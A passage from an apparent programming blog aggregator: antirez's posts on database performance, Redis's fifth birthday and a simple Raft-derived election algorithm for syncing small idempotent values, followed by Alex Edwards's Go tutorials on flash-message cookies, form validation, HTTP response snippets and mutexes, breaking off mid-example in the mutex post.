  The title of this blog post is an apparently trivial to answer question, however it is worth to consider a bit better what performance really means: it is easy to get confused between scalability and performance, and to decompose performance, in the specific case of database systems, in its different main components, may not be trivial. In this short blog post I’ll try to write down my current idea of what performance is in the context of database systems. A good starting point is probably the first slide I use lately in my talks about Redis. This first slide is indeed about performance, and says that performance is mainly three different things. 1) Latency: the amount of time I need to get the reply for a query. 2) Operations per unit of time per core: how many queries (operations) the system is able to reply per second, in a given reference computational unit? 3) Quality of operations: how much work those operations are able to accomplish? Latency — This is probably the simplest component of performance. In many applications it is desirable that the time needed to get a reply from the system is small. However while the average time is important, another concern is the predictability of the latency figure, and how much difference there is between the average case and the worst case. When used well, in-memory systems are able to provide very good latency characteristics, and are also able to provide a consistent latency over time. Operations per second per core — The second component I’m enumerating is what makes the difference between raw performance and scalability. We are interested in the amount of work the system is able to do, in a given unit of time, for a given reference computational unit. Linearly scalable systems can reach a big number of operations per second by using a number of nodes, however this means they are scalable, and not necessarily performant. Operations per second per core is also usually bound to the amount of queries you can perform per watt, so to the energy efficiency of the system. Quality of operations — The last point, while probably not as stressed among developers as throughput and latency, is really important in certain kind of systems, especially in-memory systems. A system that is able to perform 100 operations per second, but with operations of “poor quality” (for example just GET and SET in Redis terms) has a lower performance compared to a system that is also able to perform an INCR operation with the same latency and OPS characteristics. For instance, if the problem at hand is to increment counters, the former system will require two operations to increment a counter (we are not considering race conditions in this context), while the system providing INCR is able to use a single operation. As a result it is actually able to provide twice the performance of the former system. As you can see the quality of operations is not an absolute meter, but depends on the kind of problem to solve. The same two systems if we want to cache HTML fragments are equivalent since the INCR operation would be useless. The quality of operations is particularly important in in-memory systems, since usually the computation itself is negligible compared to the time needed to receive, dispatch the command, and create a reply, so systems like Redis with a rich set of operations are able to provide better performance in many contexts almost for free, just allowing the user to do more with a single operation. The “do more” part can actually mean a lot of things: either provide a reply to a more complex question, like for example the ZRANK command of Redis, or simply being able to provide a more *selective* reply, like HMGET command that is able to provide information just for a subset of the fields composing an Hash value, reducing the amount of bandwidth required between the server and its clients. In general quality of operations don't only affect performances because they give less or more value to the operations per second the system is able to perform: operations quality also directly affect latency, since more complex operations are able to avoid back and forth data transfer between clients and servers required to mount multiple simpler operations into a more complex computation. Conclusion — I hope that this short exploration of what performance is uncovered some of the complexities involved in the process of evaluating the capabilities of a database system from this specific point of view. There is a lot more to say about it, but I found that the above three components of the performance are among the most interesting and important when evaluating a system and when there is to understand how to evolve an existing system to improve its performance characteristics. Thanks to Yiftach Shoolman for feedbacks about this topic. Comments

• Happy birthday Redis!
  Antirez · Feb 26, 2014

  Today Redis is 5 years old, at least if we count starting from the initial HN announcement [1], that’s actually a good starting point. After all an open source project really exists as soon as it is public. I’m a bit shocked I worked for five years straight to the same thing. The opportunities for learning new things I had because of the directions where Redis pushed me, and the opportunities to learn new things that I missed because I had almost consistently no time for random hacking, are huge. My feeling today is that the Redis project was possible because of the great coders I encountered in my journey: they made Redis popular adopting it in its infancy, since great coders don’t follow the hype. Great coders provided outstanding additions to Redis in the form of patches and ideas that were able to surpass my instinct to be conservative when the topic was to extend the system or accept external contributions. More great coders made possible to sponsor Redis when it was in its infancy, recognizing that there was something interesting about it, and more great coders applied it in the right way to solve problems in the course of many years, wrote an incredible ecosystem of client libraries and tools, and helped other coders to apply it when it was not clear what was the best way to solve a given problem. The Redis community is outstanding because in some way it managed to attract a number of great coders. I learned that in the future, whatever I’ll do more coding or I’ll be in a team to build something great in a different role, my top priority will be to stay with great coders, and I learned that they are not easy to recognize at first: their abilities don’t correlate with the number of followers on Twitter nor with the number of Github repositories. You have to discover great coders one after the other, and the biggest gift that Redis provided to me, was to get exposed to many of them. In the course of five years there was also time, for me, to evolve my idea of what Redis is. The idea I’ve of Redis today is that its contribution should be to try to explore corner designs and bizzarre ideas. After all there are large teams of people much smarter than me trying to work on the hard problems applying the best technologies available. Redis will continue to be a small research in more obscure places of the design space. After all I’ve the feeling that it helped to popularize certain non obvious ideas, like using data structures as data model for key value stores and caches, or that it is possible to apply scripting to database systems in a different way than stored procedures. However for Redis to be able to do this research, I should be ready to be opinionated and change development direction when something is weak. This was done in the past, deprecating swap and diskstore, but should be done even more in the future. Moreover Redis should be able to purse different goals at the same time: once Redis 3.0 will be stable, the design of Redis Cluster is conceived in order to leave my hands free about changes in the data model, without too much limits or compromises. This will result in a Redis 3.2 release that will focus again on the API, stressing one of the initial and fundamental aspects of Redis: caching, data model and computation. It is entirely not obvious to me, after five years, to consider the Redis journey still ongoing, and I’m happy about it, because my motivations are not investors or shares, nor that I’m particularly in love with Redis as a project. If something new appears tomorrow that marginalizes Redis and makes it totally useless I’ll be very happy to start some new gig, after all this is how technology works: for cycles. And, after all, starting from scratch with something new is always exciting. However currently I believe there is more to do about Redis, and I’ll be happy to continue my work on it in the next weeks. [1] https://news.ycombinator.com/item?id=494649 Comments

• A simple distributed algorithm for small idempotent information
  Antirez · Feb 21, 2014

  In this blog post I’m going to describe a very simple distributed algorithm that is useful in different programming scenarios. The algorithm is useful when you need to take some kind of information synchronized among a number of processes. The information can be everything as long as it is composed of a small number of bytes, and as long as it is idempotent, that is, the current value of the information does not depend on the previous value, and we can just replace an old value, with the new one. The size of the information is important because for the way the algorithm works, the information should be small enough that every node can broadcast it from time to time to some other random node, so it should fit the size of an “heartbeat” packet. Let’s say that up to a few kbytes everything is fine. This algorithm is no new in any way, it is basically just a trivial way to put together obvious ideas found in other distributed algorithms in a simple way. However the algorithm is very useful in many real-world contexts, and is extremely simple to implement. The algorithm is mostly borrowed from Raft, however because of the premises it uses only a subset of Raft that is trivial to implement. An example scenario === To understand better the algorithm, it is much better to have an example of problem that we want to solve in our distributed system. Let’s say that we have N processes connected with two kind of wifi networks: a very reliable but slow wireless network, that is only suitable to send “control” packets like heartbeats or other low bandwidth data, and a very fast wireless network. Now let’s imagine that while the slow network works at a fixed frequency, the high speed wireless network requires to adapt to changing conditions and noises in a given frequency, and is able to hop to a different frequency as soon as too much noise is detected. We need a way to make sure that all the processes use the same frequency to communicate with the high speed network, and we also need a way to switch frequency when the currently used frequency has issues. We need this system to work if there are network partitions in the slow network, as long as the majority of the processes are able to communicate. Note that this problem has the properties stated above: 1) The information is idempotent, if the high speed network switched to an different frequency, the new frequency does not depend on the old frequency. A process receiving the new frequency can just update frequency regardless of the fact that its old frequency was updated, or an older one (because for some reason it did not received some update). 2) The information is small, it is possible to propagate it easily across nodes in a small data packet. In this case it is actually extremely small, for example the frequency may be encoded in a 64 bit integer. Epochs and update messages === The basic idea of this algorithm is that there is an artificial notion of time across the processes, that is used to order events or informations without to resort to the system time of the process, that is hard to synchronize between them. This artificial time is called the “epoch”. Every process has the notion of currentEpoch, that is, initialized at zero at startup. Every time a process sees an epoch that is greater that its current epoch, it updates its epoch to match the observed epoch. Every process has also the notion of the frequencyEpoch, that is, the version of the currently used frequency. In order to propagate the information, every process periodically sends an update message to some other process. For example every 5 seconds every process picks a random process, and sends to it an update message containing: the current frequency in use, the epoch of the frequency used, and the currentEpoch of the process sending the update message. The first time a process is created its frequency is set to -1: this means that there is no frequency currently in use from the point of view of a given process, and that another one must be picked. Updating the frequency === When a process receives an update message from another process containing a frequency with a frequencyEpoch that is greater than its local frequencyEpoch, it updates its frequency to the received value, and sets the frequencyEpoch to the received value as well. In general when the currentEpoch or the frequency and frequencyEpoch are modified, the process writes this change to the disk or other permanente storage, so that when the process is restarted it will use the latest known information. Choosing a frequency === A process requires to choose a frequency in two different scenarios: 1) When the current frequency is detected to be noisy. 2) When the current frequency is set to -1 (at startup). In order to choose a frequency, a process requires to win an election. This is how it works: 1) The process increments its own currentEpoch, and writes it to permanent storage. It also selects a suitable new frequency. 2) The process sends to all the other processes a ELECT_ME packet to get the vote of the other processes. The ELECT_ME packet contains the currentEpoch of the sending process. 3) The other processes will reply with YOU_HAVE_MY_VOTE packet only if their currentEpoch is not greater compared to the one of the process requesting the vote (it can’t be smaller, since the reception of the ELECT_ME packet will cause an older currentEpoch to be updated to match the one of the incoming packet). The YOU_HAVE_MY_VOTE packet contains the currentEpoch of the voting process. 4) A given process only votes a single time for a given epoch, so it takes a variable called lastVoteEpoch, and will only provide its vote if the currentEpoch in the request for the vote is greater (>) than lastVoteEpoch. When the vote is provided, lastVoteEpoch is updated (and stored on disk *before* the vote is provided, so that a crash and restart will not cause this process to vote again for the same epoch). 5) YOU_HAVE_MY_VOTE messages with a currentEpoch smaller than the currentEpoch of the process that requested the vote are discarded. 6) The process requesting the vote will consider itself elected only if it receives the majority of the votes from the other processes (it will count itself as a voter and will vote for itself when the election starts). If the process is elected it will updated its frequencyEpoch and frequency variables. The frequencyEpoch that will be used is the epoch the process requested the vote with, that is, its currentEpoch at the time it sent the ELECT_ME packets, just after the increment. Given that a process requires to be elected to change the frequency, and that every process votes a single time in a given epoch, there must be only a single winner for a given epoch. If a given process is not able to get elected as the majority is not reached, it will try again after a random delay. This delay must be greater compared to the latency of the slow network that is used to exchange these messages (see the Raft paper for more information about this). Every process will consider the election aborted after some time that is smaller than the retry time. Propagating the new information === When a process wins an election, it updates its frequency value and frequencyEpoch to the new one, so by sending UPDATE messages, eventually all the other processes will receive the update as well and will switch to the new frequency. If some process is partitioned away, it will receive the update as soon as the partition heals. However it is a good idea to broadcast an UPDATE message to all the processes ASAP as soon as a process changes the frequency, so that all the other nodes will switch ASAP. Improving the algorithm with a simple change === The ELECT_ME packet can be improved by adding the value of the frequencyEpoch, so that other processes will refuse to vote if the process has a stale information. This may happen when, for example, the process was partitioned away for some time with an old frequency that does not work well as there is too much noise. So in a minority partition, it may try to get elected again and again. The majority probably already switched to a newer frequency. When the partition heals, the process may get elected and change the frequency to something else before having the chance to receive the updated frequency, causing a useless frequency switch. By adding the frequencyEpoch in the ELECT_ME packet and by making other processes checking that the info is updated before providing the vote, we avoid this problem. Other improvements === Another improvement may be to only provide the vote if the current frequency, from the point of view of the receiving node, is *really* noisy. This avoids that a single node having hardware issues in the high bandwidth radio will be able to continuously switch to new frequencies since every frequency will be detected as noisy. In this way a frequency switch can happen only if the majority of the nodes are detecting an issue with the current frequency. Similarly the node sending ELECT_ME messages to get elected may include the frequency it want to switch to, and the receiving node may vote only if the selected frequency passes some test and is considered a good pick, however this may affect the liveness of the algorithm: different nodes may believe that different frequencies are not a good pick so that majority can’t be reached. Conclusions === What I did in this blog post is just to take Raft, that is able to handle the complex problem of replicating a state machine across different processes in a consistent way, and simplify it in order to use it in a subset of problems where the state is a single value (or a set of values) that can just be updated in an idempotent way. The resulting algorithm is trivial to implement in a robust way, and is good enough for a non trivial set of real world problems. --------------------------------------- EDIT: I received some feedback via Twitter, and I think it is better to clarify what is the meaning of the above algorithm. The idea is to retain some safety under the specified scenario, where a replicated state machine is not needed, but still have a reasonable way to take a set of values synchronized across different processes. The goal is to provide, in exchange for the lack of functionality compared to Raft or Paxos, an algorithm that can be recalled by memory only without even reading a document. In this spirit my aim is to further simplify the above description of the algorithm without impacting the functionality. Moreover as somebody that is trying to understand more about distributed programming, I see that while it is very simple without even being aware of it, to get involved in something that is a distributed system, as a normal programmer (given that everything is networked today), descriptions of trivial algorithms may be a way to get somewhat exposed to basic distributed concepts. The next step is to learn a formal analysis tool and try to analyze the algorithm to provide a proof of safety / liveness. Comments

• Simple 'flash' messages in Go
  Alex Edwards · Nov 19, 2013

  Often in web applications you need to temporarily store data in-between requests, such as an error or success message during the Post-Redirect-Get process for a form submission. Frameworks such as Rails and Django have the concept of transient single-use flash messages to help with this. In this post I'm going to look at a way to create your own cookie-based flash messages in Go. We'll start by creating a directory for the project, along with a flash.go file for our code and a main.go file for an example application. $ mkdir flash-example $ cd flash-example $ touch flash.go main.go In order to keep our request handlers nice and clean, we'll create our primary SetFlash() and GetFlash() helper functions in the flash.go file. File: flash.go package main import ( "encoding/base64" "net/http" "time" ) func SetFlash(w http.ResponseWriter, name string, value []byte) { c := &http.Cookie{Name: name, Value: encode(value)} http.SetCookie(w, c) } func GetFlash(w http.ResponseWriter, r *http.Request, name string) ([]byte, error) { c, err := r.Cookie(name) if err != nil { switch err { case http.ErrNoCookie: return nil, nil default: return nil, err } } value, err := decode(c.Value) if err != nil { return nil, err } dc := &http.Cookie{Name: name, MaxAge: -1, Expires: time.Unix(1, 0)} http.SetCookie(w, dc) return value, nil } // ------------------------- func encode(src []byte) string { return base64.URLEncoding.EncodeToString(src) } func decode(src string) ([]byte, error) { return base64.URLEncoding.DecodeString(src) } Our SetFlash() function is pretty succinct. It creates a new Cookie, containing the name of the flash message and the content. You'll notice that we're encoding the content – this is because RFC 6265 is quite strict about the characters cookie values can contain, and encoding to base64 ensures our value satisfies the permitted character set. We then use the SetCookie function to write the cookie to the response. In the GetFlash() helper we use the request.Cookie method to load up the cookie containing the flash message – returning nil if it doesn't exist – and then decode the value from base64 back into a byte array. Because we want a flash message to only be available once, we need to instruct clients to not resend the cookie with future requests. We can do this by setting a new cookie with exactly the same name, with MaxAge set to a negative number and Expiry set to a historical time (to cater for old versions of IE). You should note that Go will only set an expiry time on a cookie if it is after the Unix epoch, so we've set ours for 1 second after that. Let's use these helper functions in a short example: File: main.go package main import ( "fmt" "net/http" ) func main() { http.HandleFunc("/set", set) http.HandleFunc("/get", get) fmt.Println("Listening...") http.ListenAndServe(":3000", nil) } func set(w http.ResponseWriter, r *http.Request) { fm := []byte("This is a flashed message!") SetFlash(w, "message", fm) } func get(w http.ResponseWriter, r *http.Request) { fm, err := GetFlash(w, r, "message") if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } if fm == nil { fmt.Fprint(w, "No flash messages") return } fmt.Fprintf(w, "%s", fm) } Run the application: $ go run main.go flash.go Listening... And make some requests against it using cURL: $ curl -i --cookie-jar cj localhost:3000/set HTTP/1.1 200 OK Set-Cookie: message=VGhpcyBpcyBhIGZsYXNoZWQgbWVzc2FnZSE= Content-Type: text/plain; charset=utf-8 Content-Length: 0 $ curl -i --cookie-jar cj --cookie cj localhost:3000/get HTTP/1.1 200 OK Set-Cookie: message=; Expires=Thu, 01 Jan 1970 00:00:01 UTC; Max-Age=0 Content-Type: text/plain; charset=utf-8 Content-Length: 26 This is a flashed message! $ curl -i --cookie-jar cj --cookie cj localhost:3000/get HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Content-Length: 17 No flash messages You can see our flash message being set, retrieved, and then not passed with subsequent requests as expected. Additional Tools If you don't want to roll your own helpers for flash messages, or need them to be 'signed' to prevent tampering, then the Gorilla Sessions package is a good option. Here's the previous example implemented with Gorilla instead: package main import ( "fmt" "github.com/gorilla/sessions" "net/http" ) func main() { http.HandleFunc("/set", set) http.HandleFunc("/get", get) fmt.Println("Listening...") http.ListenAndServe(":3000", nil) } var store = sessions.NewCookieStore([]byte("a-secret-string")) func set(w http.ResponseWriter, r *http.Request) { session, err := store.Get(r, "flash-session") if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) } session.AddFlash("This is a flashed message!", "message") session.Save(r, w) } func get(w http.ResponseWriter, r *http.Request) { session, err := store.Get(r, "flash-session") if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) } fm := session.Flashes("message") if fm == nil { fmt.Fprint(w, "No flash messages") return } session.Save(r, w) fmt.Fprintf(w, "%v", fm[0]) } If you found this post useful, you might like to subscribe to my RSS feed.

• Form validation and processing in Go
  Alex Edwards · Nov 01, 2013

  In this post I want to outline a sensible pattern that you can use for validating and processing HTML forms in Go web applications. Over the years I've tried out a number of different approaches, but this is the basic pattern that I always keep coming back to. It's clear and uncomplicated, but also flexible and extensible enough to work well in a wide variety of projects and scenarios. To illustrate the pattern, I'll run through the start-to-finish build of a simple online contact form. So let's begin by creating a new directory for the application, along with a main.go file for our code and a couple of vanilla HTML templates: $ mkdir -p contact-form/templates $ cd contact-form $ touch main.go templates/home.html templates/confirmation.html File: templates/home.html Contact Your email: Your message: File: templates/confirmation.html Confirmation Your message has been sent! If you're following along you'll also need to enable modules in the application root by running the go mod init command like so: $ go mod init contact-form.example.com go: creating new go.mod: module contact-form.example.com Once that's done, your directory structure should look like this: . ├── templates │ ├── confirmation.html │ └── home.html ├── go.mod └── main.go Displaying the Form Our application is going to provide three routes: Method URL Path Handler Description GET / home Display the contact form POST / send Submit the contact form GET /confirmation confirmation Display a confirmation message after successful submission To handle the routing of requests we're going to use bmizerany/pat – but if you want to use an alternative Go router please feel free. Let's go ahead and create a skeleton for the application: File: main.go package main import ( "html/template" "log" "net/http" "github.com/bmizerany/pat" ) func main() { mux := pat.New() mux.Get("/", http.HandlerFunc(home)) mux.Post("/", http.HandlerFunc(send)) mux.Get("/confirmation", http.HandlerFunc(confirmation)) log.Print("Listening...") err := http.ListenAndServe(":3000", mux) if err != nil { log.Fatal(err) } } func home(w http.ResponseWriter, r *http.Request) { render(w, "templates/home.html", nil) } func send(w http.ResponseWriter, r *http.Request) { // Step 1: Validate form // Step 2: Send message in an email // Step 3: Redirect to confirmation page } func confirmation(w http.ResponseWriter, r *http.Request) { render(w, "templates/confirmation.html", nil) } func render(w http.ResponseWriter, filename string, data interface{}) { tmpl, err := template.ParseFiles(filename) if err != nil { log.Print(err) http.Error(w, "Sorry, something went wrong", http.StatusInternalServerError) } if err := tmpl.Execute(w, data); err != nil { log.Print(err) http.Error(w, "Sorry, something went wrong", http.StatusInternalServerError) } } This is fairly straightforward stuff so far. The only real point of note is that we've put the template handling into a render function to cut down on boilerplate code. If you run the application: $ go run . 2020/03/30 06:41:42 Listening... And then visit localhost:3000 in your browser you should see the contact form being displayed (although it doesn't do anything yet!). Validating the Form Now for the interesting part. Let's add some validation rules to this contact form, display the validation errors if there are any, and make sure that the form values get presented back if there's an error so the user doesn't need to retype them. We could add the code for this inline in our send handler, but personally I find it cleaner and neater to break out the logic into a separate message.go file: $ touch message.go File: message.go package main import ( "regexp" "strings" ) var rxEmail = regexp.MustCompile(".+@.+\\..+") type Message struct { Email string Content string Errors map[string]string } func (msg *Message) Validate() bool { msg.Errors = make(map[string]string) match := rxEmail.Match([]byte(msg.Email)) if match == false { msg.Errors["Email"] = "Please enter a valid email address" } if strings.TrimSpace(msg.Content) == "" { msg.Errors["Content"] = "Please enter a message" } return len(msg.Errors) == 0 } So what's going on here? We've started by defining a rxEmail variable, containing a simple regular expression for validating the format of the email address in the form. Then we define a Message struct, consisting of Email and Content fields (which will hold the data from the submitted form), along with an Errors map to hold any validation error messages. We then created a Validate() method that acts on a given Message, which checks the format of the email address and makes sure that the content isn't blank. In the event of any errors we add them to the Errors map, and finally return a true or false value to indicate whether validation passed successful or not. In a large project you might want to break the validation checks into helper functions to reduce duplication. This approach means that we can keep the code in our send handler fantastically light. All we need it to do is retrieve the form values from the POST request, create a new Message instance containing them, and call Validate(). If the validation fails we can re-render the contact form, passing back the relevant Message struct. Like so: File: main.go ... func send(w http.ResponseWriter, r *http.Request) { // Step 1: Validate form msg := &Message{ Email: r.PostFormValue("email"), Content: r.PostFormValue("content"), } if msg.Validate() == false { render(w, "templates/home.html", msg) return } // Step 2: Send message in an email // Step 3: Redirect to confirmation page } ... As a side note, in the code above we're using the PostFormValue() method on the request to access the POST data. This is a helper method which parses the form data in the request body (using ParseForm()) and returns the value for a specific field. If no matching field exists in the request body, it will return the empty string "". For large request bodies, you might also want to consider using the Gorilla Schema package to automatically decode the form values in to a struct, instead of assigning them manually like we have done in the code above. Anyway, let's now update our home.html template so it displays the validation errors (if they exist) above the relevant fields, and repopulate the form inputs with any information that the user previously typed in: File: templates/home.html .error {color: red;} Contact {{ with .Errors.Email }} {{ . }} {{ end }} Your email: {{ with .Errors.Content }} {{ . }} {{ end }} Your message: {{ .Content }} Let's try this out. Go ahead and run the application: $ go run . 2020/03/30 08:41:42 Listening... And try submitting an invalid form. You should find that the form is redisplayed along with the relevant data and validation errors like so: Sending the Contact Form Message Great! That's now working nicely, but our contact form isn't very useful unless we actually do something with it. Let's add a Deliver() method to our Message which sends the contact form message to a particular email address. In the code below I'm using the go-mail/mail package and a mailtrap.io account for email sending, but the same thing should work with any other SMTP server. File: message.go package main import ( "regexp" "strings" "github.com/go-mail/mail" ) ... func (msg *Message) Deliver() error { email := mail.NewMessage() email.SetHeader("To", "admin@example.com") email.SetHeader("From", "server@example.com") email.SetHeader("Reply-To", msg.Email) email.SetHeader("Subject", "New message via Contact Form") email.SetBody("text/plain", msg.Content) username := "your_username" password := "your_password" return mail.NewDialer("smtp.mailtrap.io", 25, username, password).DialAndSend(email) } The final step is to head back to our main.go file, add some code to call Deliver(), and issue a 303 See Other redirect to the confirmation page that we made earlier: File: main.go ... func send(w http.ResponseWriter, r *http.Request) { // Step 1: Validate form msg := &Message{ Email: r.PostFormValue("email"), Content: r.PostFormValue("content"), } if msg.Validate() == false { render(w, "templates/home.html", msg) return } // Step 2: Send contact form message in an email if err := msg.Deliver(); err != nil { log.Print(err) http.Error(w, "Sorry, something went wrong", http.StatusInternalServerError) return } // Step 3: Redirect to confirmation page http.Redirect(w, r, "/confirmation", http.StatusSeeOther) } ... So long as your SMTP server account credentials are set up correctly, you should now be able to successfully submit the contact form and you should see the confirmation message below in your browser.

• HTTP Response Snippets for Go
  Alex Edwards · Oct 19, 2013

  Taking inspiration from the Rails layouts and rendering guide, I thought it'd be a nice idea to build a snippet collection illustrating some common HTTP responses for Go web applications. Sending Headers Only Rendering Plain Text Rendering JSON Rendering XML Serving a File Rendering a HTML Template Rendering a HTML Template to a String Using Layouts and Nested Templates Sending Headers Only File: main.go package main import ( "net/http" ) func main() { http.HandleFunc("/", foo) http.ListenAndServe(":3000", nil) } func foo(w http.ResponseWriter, r *http.Request) { w.Header().Set("Server", "A Go Web Server") w.WriteHeader(200) } $ curl -i localhost:3000 HTTP/1.1 200 OK Server: A Go Web Server Content-Type: text/plain; charset=utf-8 Content-Length: 0 Rendering Plain Text File: main.go package main import ( "net/http" ) func main() { http.HandleFunc("/", foo) http.ListenAndServe(":3000", nil) } func foo(w http.ResponseWriter, r *http.Request) { w.Write([]byte("OK")) } $ curl -i localhost:3000 HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Content-Length: 2 OK Rendering JSON File: main.go package main import ( "encoding/json" "net/http" ) type Profile struct { Name string Hobbies []string } func main() { http.HandleFunc("/", foo) http.ListenAndServe(":3000", nil) } func foo(w http.ResponseWriter, r *http.Request) { profile := Profile{"Alex", []string{"snowboarding", "programming"}} js, err := json.Marshal(profile) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } w.Header().Set("Content-Type", "application/json") w.Write(js) } $ curl -i localhost:3000 HTTP/1.1 200 OK Content-Type: application/json Content-Length: 56 {"Name":"Alex",Hobbies":["snowboarding","programming"]} Rendering XML File: main.go package main import ( "encoding/xml" "net/http" ) type Profile struct { Name string Hobbies []string `xml:"Hobbies>Hobby"` } func main() { http.HandleFunc("/", foo) http.ListenAndServe(":3000", nil) } func foo(w http.ResponseWriter, r *http.Request) { profile := Profile{"Alex", []string{"snowboarding", "programming"}} x, err := xml.MarshalIndent(profile, "", " ") if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } w.Header().Set("Content-Type", "application/xml") w.Write(x) } $ curl -i localhost:3000 HTTP/1.1 200 OK Content-Type: application/xml Content-Length: 128 Alex snowboarding programming Serving a File File: main.go package main import ( "net/http" "path" ) func main() { http.HandleFunc("/", foo) http.ListenAndServe(":3000", nil) } func foo(w http.ResponseWriter, r *http.Request) { // Assuming you want to serve a photo at 'images/foo.png' fp := path.Join("images", "foo.png") http.ServeFile(w, r, fp) } $ curl -I localhost:3000 HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 236717 Content-Type: image/png Last-Modified: Thu, 10 Oct 2013 22:23:26 GMT Rendering a HTML Template File: templates/index.html Hello {{ .Name }} Lorem ipsum dolor sit amet, consectetur adipisicing elit. File: main.go package main import ( "html/template" "net/http" "path" ) type Profile struct { Name string Hobbies []string } func main() { http.HandleFunc("/", foo) http.ListenAndServe(":3000", nil) } func foo(w http.ResponseWriter, r *http.Request) { profile := Profile{"Alex", []string{"snowboarding", "programming"}} fp := path.Join("templates", "index.html") tmpl, err := template.ParseFiles(fp) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } if err := tmpl.Execute(w, profile); err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) } } $ curl -i localhost:3000 HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 84 Hello Alex Lorem ipsum dolor sit amet, consectetur adipisicing elit. Rendering a HTML Template to a String Instead of passing in the http.ResponseWriter when executing your template (like in the above snippet) use a buffer instead: File: main.go ... buf := new(bytes.Buffer) if err := tmpl.Execute(buf, profile); err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) } templateString := buf.String() ... Using Layouts and Nested Templates File: templates/layout.html {{ template "title" . }} {{ template "content" . }} File: templates/index.html {{ define "title" }}An example layout{{ end }} {{ define "content" }} Hello {{ .Name }} Lorem ipsum dolor sit amet, consectetur adipisicing elit. {{ end }} File: main.go package main import ( "html/template" "net/http" "path" ) type Profile struct { Name string Hobbies []string } func main() { http.HandleFunc("/", foo) http.ListenAndServe(":3000", nil) } func foo(w http.ResponseWriter, r *http.Request) { profile := Profile{"Alex", []string{"snowboarding", "programming"}} lp := path.Join("templates", "layout.html") fp := path.Join("templates", "index.html") // Note that the layout file must be the first parameter in ParseFiles tmpl, err := template.ParseFiles(lp, fp) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } if err := tmpl.Execute(w, profile); err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) } } $ curl -i localhost:3000 HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 180 An example layout Hello Alex Lorem ipsum dolor sit amet, consectetur adipisicing elit. If you found this post useful, you might like to subscribe to my RSS feed.

• Understanding Mutexes
  Alex Edwards · Oct 04, 2013

  For anyone new to building web applications with Go, it's important to realise that all incoming HTTP requests are served in their own Goroutine. This means that any code in or called by your application handlers will be running concurrently, and there is a risk of race conditions occurring. In case you're new to concurrent programming, I'll quickly explain the problem. Race conditions occur when two or more Goroutines try to use a piece of shared data at the same time, but the result of their operations is dependent on the exact order that the scheduler executes their instructions. As an illustration, here's an example where two Goroutines try to add money to a shared bank balance at the same time: InstructionGoroutine 1Goroutine 2Bank Balance 1Read balance ⇐ £50£50 2Read balance ⇐ £50£50 3Add £100 to balance£50 4Add £50 to balance£50 5Write balance ⇒ £150£150 6Write balance ⇒ £100£100 Despite making two separate deposits, only the second one is reflected in the final balance because the two Goroutines were racing each other to make the change. The Go blog describes the downsides: Race conditions are among the most insidious and elusive programming errors. They typically cause erratic and mysterious failures, often long after the code has been deployed to production. While Go's concurrency mechanisms make it easy to write clean concurrent code, they don't prevent race conditions. Care, diligence, and testing are required. Go provides a number of tools to help us avoid data races. These include Channels for communicating data between Goroutines, a Race Detector for monitoring unsynchronized access to memory at runtime, and a variety of 'locking' features in the Atomic and Sync packages. One of these features are Mutual Exclusion locks, or mutexes, which we'll be looking at in the rest of this post. Creating a Basic Mutex Let's create some toy code to mimic the bank balance example: import "strconv" var Balance = &currency{50.00, "GBP"} type currency struct { amount float64 code string } func (c *currency) Add(i float64) { // This is racy c.amount += i } func (c *currency) Display() string { // This is racy return strconv.FormatFloat(c.amount, 'f', 2, 64) + " " + c.code } We know that if there are multiple Goroutines using this code and calling Balance.Add() and Balance.Display(), then at some point a race condition is likely to occur. One way we could prevent a data race is to ensure that if one Goroutine is using the Balance variable, then all other Goroutines are prevented (or mutually excluded) from using it at the same time. We can do this by creating a Mutex and setting a lock around particular lines of code with it. While one Goroutine holds the lock, all other Goroutines are prevented from executing any lines of code protected by the same mutex, and are forced to wait until the lock is yielded before they can proceed. In practice, it's more simple than it sounds: import ( "strconv" "sync" ) var mu = &sync.Mutex{} var Balance = &currency{50.00, "GBP"} type currency struct { amount float64 code string } func (c *currency) Add(i float64) { mu.Lock() c.amount += i mu.Unlock() } func (c *currency) Display() string { mu.Lock() amt := c.amount mu.Unlock() return strconv.FormatFloat(amt, 'f', 2, 64) + " " + c.code } Here we've created a new mutex and assigned it to mu. We then use mu.Lock() to create a lock immediately before both racy parts of the code, and mu.Unlock() to yield the lock immediately after. There's a couple of things to note: The same mutex variable can be used in multiple places throughout your code. So long as it's the same mutex (in our case mu) then none of the chunks of code protected by it can be executed at the same time. Holding a mutex lock doesn't 'protect' a memory location from being read or updated. A non-mutex-locked line of code could still access it at any time and create a race condition. Therefore you need to be careful to make sure all points in your code which are potentially racy are protected. Let's tidy up the example a bit: import ( "strconv" "sync" ) var Balance = &currency{amount: 50.00, code: "GBP"} type currency struct { sync.Mutex amount float64 code string } func (c *currency) Add(i float64) { c.Lock() c.amount += i c.Unlock() } func (c *currency) Display() string { c.Lock() defer c.Unlock() return strconv.FormatFloat(c.amount, 'f', 2, 64) + " " + c.code } So what's changed here? Because our mutex is only being used in the context of a currency object, it makes sense to anonymously embed it in the currency struct (an idea borrowed from Andrew Gerrard's excellent 10 things you (probably) don't know about Go slideshow). If you look at a larger codebase with lots of mutexes, like Go's HTTP Server, you can see how this approach helps to keep locking rules nice and clear. We've also made use of the defer statement, which ensures that the mutex gets unlocked immediately before a function returns. This is common practice for functions that contain multiple return statements, or where the return statement itself is racy. Read Write Mutexes In our bank balance example, having a full mutex lock on the Display() function isn't strictly necessary. It would be OK for us to have multiple reads of Balance happening at the same time, so long as nothing is being written. We can achieve this using RWMutex, a reader/writer mutual exclusion lock which allows any number of readers to hold the lock or one writer. Depending on the nature of your application and ratio of reads to writes, this may be more efficient than using a full mutex. Reader locks can be opened and closed with RLock() and RUnlock() like so: import ( "strconv" "sync" ) var Balance = &currency{amount: 50.00, code: "GBP"} type currency struct { sync.RWMutex amount float64 code string } func (c *currency) Add(i float64) { c.Lock() 